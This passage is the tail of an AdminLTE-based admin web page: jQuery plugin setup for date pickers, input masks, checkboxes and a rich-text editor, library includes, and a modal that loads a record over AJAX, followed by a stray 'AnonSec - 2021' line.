    $('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
      checkboxClass: 'icheckbox_minimal-red',
      radioClass   : 'iradio_minimal-red'
    })
    //Flat red color scheme for iCheck
    $('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
      checkboxClass: 'icheckbox_flat-green',
      radioClass   : 'iradio_flat-green'
    })

    //Colorpicker
    $('.my-colorpicker1').colorpicker()
    //color picker with addon
    $('.my-colorpicker2').colorpicker()

    //Timepicker
    $('.timepicker').timepicker({
      showInputs: false
    })
  })</script>
  <!-- jQuery 3 --
<script src="../../bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap 3.3.7 --
<script src="../../bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Select2 --
<script src="../../bower_components/select2/dist/js/select2.full.min.js"></script>
<!-- InputMask --
<script src="../../plugins/input-mask/jquery.inputmask.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.date.extensions.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.extensions.js"></script>
<!-- date-range-picker --
<script src="../../bower_components/moment/min/moment.min.js"></script>
<script src="../../bower_components/bootstrap-daterangepicker/daterangepicker.js"></script>
<!-- bootstrap datepicker --
<script src="../../bower_components/bootstrap-datepicker/dist/js/bootstrap-datepicker.min.js"></script>
<!-- bootstrap color picker --
<script src="../../bower_components/bootstrap-colorpicker/dist/js/bootstrap-colorpicker.min.js"></script>
<!-- bootstrap time picker --
<script src="../../plugins/timepicker/bootstrap-timepicker.min.js"></script>
<!-- SlimScroll --
<script src="../../bower_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>
<!-- iCheck 1.0.1 --
<script src="../../plugins/iCheck/icheck.min.js"></script>
<!-- FastClick --
<script src="../../bower_components/fastclick/lib/fastclick.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>


<script src="../../plugins/summernote/summernote-bs4.min.js"></script>
<script>
  $(function () {
    // Summernote
    $('.textarea').summernote()
  })
</script>
<!-- Page script -->
<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Datemask dd/mm/yyyy
    $('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
    //Datemask2 mm/dd/yyyy
    $('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
    //Money Euro
    $('[data-mask]').inputmask()

    //Date range picker
    $('#reservation').daterangepicker()
    //Date range picker with time picker
    $('#reservationtime').daterangepicker({ timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A' })
    //Date range as a button
    $('#daterange-btn').daterangepicker(
      {
        ranges   : {
          'Today'       : [moment(), moment()],
          'Yesterday'   : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
          'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
          'Last 30 Days': [moment().subtract(29, 'days'), moment()],
          'This Month'  : [moment().startOf('month'), moment().endOf('month')],
          'Last Month'  : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
        },
        startDate: moment().subtract(29, 'days'),
        endDate  : moment()
      },
      function (start, end) {
        $('#daterange-btn span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
      }
    )

    //Date picker
    $('#datepicker').datepicker({
      autoclose: true
    })

    //iCheck for checkbox and radio inputs
    $('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
      checkboxClass: 'icheckbox_minimal-blue',
      radioClass   : 'iradio_minimal-blue'
    })
    //Red color scheme for iCheck
    $('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
      checkboxClass: 'icheckbox_minimal-red',
      radioClass   : 'iradio_minimal-red'
    })
    //Flat red color scheme for iCheck
    $('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
      checkboxClass: 'icheckbox_flat-green',
      radioClass   : 'iradio_flat-green'
    })

    //Colorpicker
    $('.my-colorpicker1').colorpicker()
    //color picker with addon
    $('.my-colorpicker2').colorpicker()

    //Timepicker
    $('.timepicker').timepicker({
      showInputs: false
    })
  })
</script>
<script type="text/javascript">
$(document).ready(function(){
    $('#myModalTTTT').on('show.bs.modal', function (e) {
        var rowid = $(e.relatedTarget).data('id');
        $.ajax({
            type : 'post',
            url : 'fetch_record.php', //Here you will fetch records 
            data :  'rowid='+ rowid, //Pass $id
            success : function(data){
            $('#fetch').html(data);//Show fetched data from database
            }
        });
     });
});

		
		
		
		// alert(rowid);
        // console.log(rowid)
        // $.ajax({
            // type : 'post',
            // url : 'tache_generale2.php', //Here you will fetch records 
            // data :  'rowid='+ rowid, //Pass $id
            // success : function(data){
            // $('.fetched-data').html(data);//Show fetched data from database
            // }
        // });
     // });
	 
	 
	 
	 
    // $(".remove").click(function(){
        // var id = $(this).parents("tr").attr("id");
    // alert(id);







		

	
	
	
	// });
    
</script>
</body>

   
</html>

AnonSec - 2021